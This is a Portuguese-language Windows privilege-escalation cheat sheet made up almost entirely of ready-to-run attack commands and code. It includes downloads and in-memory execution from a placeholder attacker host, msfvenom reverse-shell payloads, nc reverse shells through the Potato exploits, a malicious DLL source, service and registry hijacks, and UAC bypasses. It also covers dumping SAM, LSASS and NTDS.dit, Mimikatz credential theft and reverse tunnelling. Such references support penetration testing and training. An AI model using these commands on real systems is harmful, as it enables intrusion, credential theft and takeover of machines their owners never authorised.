Cheatsheet de Escalação de Privilégios Windows

:: Info básica
whoami
whoami /priv
whoami /groups
hostname
systeminfo

:: SO e arquitetura
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

:: Hotfixes — patches faltando = exploits de kernel potenciais
wmic qfe list brief
systeminfo | findstr /B /C:"KB"

:: Rede
ipconfig /all
route print
netstat -ano
arp -a

# Equivalentes PowerShell
[System.Environment]::OSVersion
Get-HotFix
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'}

net user
net user Administrator
net localgroup
net localgroup Administrators

:: Checar Windows Defender
sc query WinDefend

:: Firewall
netsh advfirewall show allprofiles
netsh firewall show state

:: Checar se AMSI tá ativo (PowerShell)

Get-MpComputerStatus
Get-MpPreference | Select-Object -Property ExclusionPath

:: Transferir e rodar
certutil -urlcache -f http://%ATTACKER%:8000/winPEASx64.exe winpeas.exe
.\winpeas.exe

:: Ou rodar da memória (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://%ATTACKER%:8000/winPEAS.bat')

. .\PowerUp.ps1
Invoke-AllChecks

# Ou one-liner
IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/PowerUp.ps1'); Invoke-AllChecks

.\Seatbelt.exe -group=all

.\SharpUp.exe audit

:: Encontrar unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

:: PowerShell
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | Select-Object Name, PathName, StartMode

:: Checar se você pode escrever num diretório intermediário
icacls "C:\Program Files\My Service"

:: Dropar seu payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f exe -o My.exe
copy My.exe "C:\Program Files\My.exe"

:: Reiniciar o serviço (precisa de permissão ou esperar reboot)
sc stop "ServiceName"
sc start "ServiceName"

:: Checar permissões de serviço com accesschk
accesschk64.exe /accepteula -uwcqv "Everyone" *
accesschk64.exe /accepteula -uwcqv "Users" *
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
accesschk64.exe /accepteula -uwcqv %USERNAME% *

:: Checar serviço específico
sc qc "ServiceName"
accesschk64.exe /accepteula -ucqv "ServiceName"

:: Trocar binpath pro seu payload
sc config "ServiceName" binpath= "C:\Users\Public\shell.exe"
sc stop "ServiceName"
sc start "ServiceName"

:: Ou se adicionar como admin
sc config "ServiceName" binpath= "net localgroup Administrators %USERNAME% /add"
sc stop "ServiceName"
sc start "ServiceName"

:: Checar permissões no binário do serviço
icacls "C:\path\to\service.exe"

:: Substituir o binário
move "C:\path\to\service.exe" "C:\path\to\service.exe.bak"
copy C:\Users\Public\shell.exe "C:\path\to\service.exe"
sc stop "ServiceName"
sc start "ServiceName"

:: Checar permissões do registry pros serviços
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName | Format-List

:: Se gravável, trocar ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\ServiceName /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f

:: Use Process Monitor (se tiver acesso GUI)
:: Filtro: Result = "NAME NOT FOUND" e Path termina com ".dll"

:: Ou checar diretórios do PATH por acesso de escrita
echo %PATH%
:: Checar cada diretório com icacls
icacls "C:\path\in\PATH"

// malicious.c — gera reverse shell ou adiciona admin
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) {
    if (ul_reason == DLL_PROCESS_ATTACH) {
        system("net localgroup Administrators youruser /add");
        // Ou: system("C:\\Users\\Public\\nc.exe -e cmd.exe ATTACKER 9001");
    }
    return TRUE;
}

# Cross-compile no Kali
x86_64-w64-mingw32-gcc malicious.c -shared -o malicious.dll

:: Colocar DLL no local esperado
copy malicious.dll "C:\path\to\expected\missing.dll"
:: Reiniciar o serviço ou esperar

:: GodPotato (tente esse primeiro)
.\GodPotato.exe -cmd "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\GodPotato.exe -cmd "net localgroup Administrators $USERNAME /add"

:: PrintSpoofer
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\PrintSpoofer64.exe -i -c cmd

:: SweetPotato
.\SweetPotato.exe -e EfsRpc -p C:\Users\Public\nc.exe -a "-e cmd.exe $ATTACKER 9001"

:: JuicyPotato (sistemas mais antigos)
.\JuicyPotato.exe -l 1337 -p C:\Users\Public\shell.exe -t * -c {CLSID}

:: Checar
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Checagem PowerShell
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
Get-ItemProperty -Path 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated

# Gerar MSI malicioso no atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f msi -o shell.msi

:: Instalar no alvo
msiexec /quiet /qn /i C:\Users\Public\shell.msi

:: Credenciais salvas
cmdkey /list

:: Se existem creds salvas pro admin
runas /savecred /user:Administrator cmd.exe

:: Credenciais de autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

:: Senhas VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

:: Sessões salvas do PuTTY
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

:: Community strings SNMP
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"

:: Buscar senhas no registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

:: Arquivos comuns com senhas
dir /s /b C:\Users\*.txt 2>nul | findstr /i "pass"
dir /s /b C:\Users\*.xml 2>nul
dir /s /b C:\Users\*.ini 2>nul
dir /s /b C:\Users\*.config 2>nul

:: Arquivos unattend / sysprep (frequentemente contêm senhas)
dir /s /b C:\unattend.xml C:\sysprep.xml C:\sysprep.inf C:\Unattended.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\unattend\Unattend.xml 2>nul
type C:\Windows\system32\sysprep\sysprep.xml 2>nul

:: Config IIS
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul

:: Histórico PowerShell
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Histórico PowerShell de todos os usuários
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>$null | ForEach-Object { Write-Host "`n=== $($_.FullName) ==="; Get-Content $_ }

:: Se você consegue acessar esses, dumpa hashes offline
reg save HKLM\SAM C:\Users\Public\sam.bak
reg save HKLM\SYSTEM C:\Users\Public\system.bak

:: Ou checar por cópias de backup
dir /s /b C:\Windows\repair\SAM 2>nul
dir /s /b C:\Windows\System32\config\RegBack\SAM 2>nul

# No atacante — extrair hashes
secretsdump.py -sam sam.bak -system system.bak LOCAL

:: Listar blobs de credenciais DPAPI
dir /a C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

:: Mimikatz pra descriptografar
dpapi::cred /in:C:\Users\user\AppData\...\credential_blob

:: Listar todas as scheduled tasks
schtasks /query /fo LIST /v

:: Procurar tasks rodando como SYSTEM com binários graváveis
schtasks /query /fo LIST /v | findstr /i "task to run\|run as user"

:: Checar permissões no binário da task
icacls "C:\path\to\task\binary.exe"

Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq 'SYSTEM'} | ForEach-Object { $_.Actions }

:: 32-bit
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"

:: 64-bit
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"

:: Ou só olhe
dir "C:\Program Files"
dir "C:\Program Files (x86)"

searchsploit "software name"

systeminfo
wmic qfe list brief

# No atacante — usar Windows Exploit Suggester
python3 windows-exploit-suggester.py --database 2026-03-24-mssb.xls --systeminfo sysinfo.txt

# Ou wesng
python3 wes.py sysinfo.txt

:: PrintNightmare (variante local privesc)
:: Checar se Print Spooler tá rodando
sc query spooler

:: HiveNightmare — checar se shadow copies do SAM são legíveis
icacls C:\Windows\System32\config\SAM
:: Se "BUILTIN\Users:(I)(RX)" -> vulnerável
:: Exploit:
.\HiveNightmare.exe

:: Checar integrity level
whoami /groups | findstr "Mandatory"

:: Se Medium Mandatory Level — UAC tá bloqueando você

# UAC bypass comum — fodhelper
New-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd /c C:\Users\Public\shell.exe" -Force
New-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"

# Limpeza
Remove-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Recurse -Force

:: eventvwr bypass
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd /c C:\Users\Public\shell.exe" /f
eventvwr.msc

:: Copiar SAM e SYSTEM
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system

:: Ou usar robocopy com semântica de backup
robocopy /b C:\Users\Administrator\Desktop C:\temp\ secret.txt

:: Dumpar LSASS
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp

:: Ou usar Mimikatz
privilege::debug
sekurlsa::logonpasswords

:: Criar shadow copy
vssadmin create shadow /for=C:

:: Copiar arquivos da shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\

:: netsh (built-in, sem ferramentas necessárias)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8888 connectaddress=127.0.0.1 connectport=8080

:: Chisel
:: Atacante: chisel server --reverse --port 8001
.\chisel.exe client ATTACKER:8001 R:8080:127.0.0.1:8080

:: plink (PuTTY command-line)
plink.exe -ssh -l user -pw password -R 8080:127.0.0.1:8080 ATTACKER

:: certutil
certutil -urlcache -f http://%ATTACKER%:8000/file.exe file.exe

:: PowerShell
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER:8000/file.exe','C:\Users\Public\file.exe')"
powershell -c "Invoke-WebRequest -Uri 'http://$ATTACKER:8000/file.exe' -OutFile 'C:\Users\Public\file.exe'"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/script.ps1')"

:: SMB (mais fácil pra arquivos grandes)
:: Atacante: impacket-smbserver share . -smb2support -username user -password pass
net use \\$ATTACKER\share /user:user pass
copy \\$ATTACKER\share\file.exe C:\Users\Public\

:: Bitsadmin
bitsadmin /transfer job /download /priority high http://$ATTACKER:8000/file.exe C:\Users\Public\file.exe